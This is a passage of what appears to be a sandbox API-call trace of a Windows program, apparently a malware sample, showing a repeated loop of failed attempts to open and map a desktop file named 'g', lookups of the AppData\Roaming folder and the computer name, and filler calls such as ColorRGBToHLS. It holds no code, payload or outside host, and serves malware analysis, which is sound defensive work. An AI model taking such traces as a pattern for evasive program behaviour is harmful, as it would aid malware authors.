(in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.194] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.194] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.194] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.194] CloseHandle (hObject=0x0) returned 0 [0145.194] CloseHandle (hObject=0xffffffff) returned 1 [0145.194] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.194] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.195] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.195] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.195] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.195] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.195] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.195] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.195] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.195] CloseHandle (hObject=0x0) returned 0 [0145.195] CloseHandle (hObject=0xffffffff) returned 1 [0145.195] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.195] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.195] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.195] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.195] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.195] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.195] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.195] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.196] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.196] CloseHandle (hObject=0x0) returned 0 [0145.196] CloseHandle (hObject=0xffffffff) returned 1 [0145.196] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.196] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.196] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.196] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.196] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.196] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.196] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.196] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.196] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.196] CloseHandle (hObject=0x0) returned 0 [0145.196] CloseHandle (hObject=0xffffffff) returned 1 [0145.196] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.196] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.196] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.196] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.196] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.197] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.197] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.197] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.197] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.197] CloseHandle (hObject=0x0) returned 0 [0145.197] CloseHandle (hObject=0xffffffff) returned 1 [0145.197] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.197] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.197] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.197] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.197] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.197] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.197] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.197] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.197] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.197] CloseHandle (hObject=0x0) returned 0 [0145.197] CloseHandle (hObject=0xffffffff) returned 1 [0145.197] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.198] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.198] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.198] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.198] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.198] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.198] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.198] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.198] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.198] CloseHandle (hObject=0x0) returned 0 [0145.198] CloseHandle (hObject=0xffffffff) returned 1 [0145.198] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.198] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.198] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.198] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.198] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.198] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.198] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.198] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.199] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.199] CloseHandle (hObject=0x0) returned 0 [0145.199] CloseHandle (hObject=0xffffffff) returned 1 [0145.199] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.199] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.199] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.199] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.199] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.199] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.199] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.199] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.199] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.199] CloseHandle (hObject=0x0) returned 0 [0145.199] CloseHandle (hObject=0xffffffff) returned 1 [0145.199] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.199] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.199] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.199] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.199] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.200] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.200] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.200] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.200] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.200] CloseHandle (hObject=0x0) returned 0 [0145.200] CloseHandle (hObject=0xffffffff) returned 1 [0145.200] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.200] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.200] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.200] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.200] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.200] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.200] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.200] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.200] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.200] CloseHandle (hObject=0x0) returned 0 [0145.200] CloseHandle (hObject=0xffffffff) returned 1 [0145.200] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.201] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.201] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.201] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.201] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.201] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.201] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.201] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.201] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.201] CloseHandle (hObject=0x0) returned 0 [0145.201] CloseHandle (hObject=0xffffffff) returned 1 [0145.201] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.201] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.201] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.201] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.201] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.201] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.201] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.201] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.201] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.201] CloseHandle (hObject=0x0) returned 0 [0145.202] CloseHandle (hObject=0xffffffff) returned 1 [0145.202] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.202] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.202] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.202] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.202] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.202] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.202] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.202] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.202] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.202] CloseHandle (hObject=0x0) returned 0 [0145.202] CloseHandle (hObject=0xffffffff) returned 1 [0145.202] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.202] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.202] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.202] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.202] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.202] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.203] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.203] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.203] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.203] CloseHandle (hObject=0x0) returned 0 [0145.203] CloseHandle (hObject=0xffffffff) returned 1 [0145.203] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.203] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.203] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.203] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.203] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.203] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.203] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.203] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.203] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.203] CloseHandle (hObject=0x0) returned 0 [0145.203] CloseHandle (hObject=0xffffffff) returned 1 [0145.203] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.203] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.203] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.203] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.281] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.281] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.281] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.281] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.281] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.281] CloseHandle (hObject=0x0) returned 0 [0145.281] CloseHandle (hObject=0xffffffff) returned 1 [0145.281] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.281] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.281] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.281] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.281] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.281] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.281] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.281] MapViewOfFile 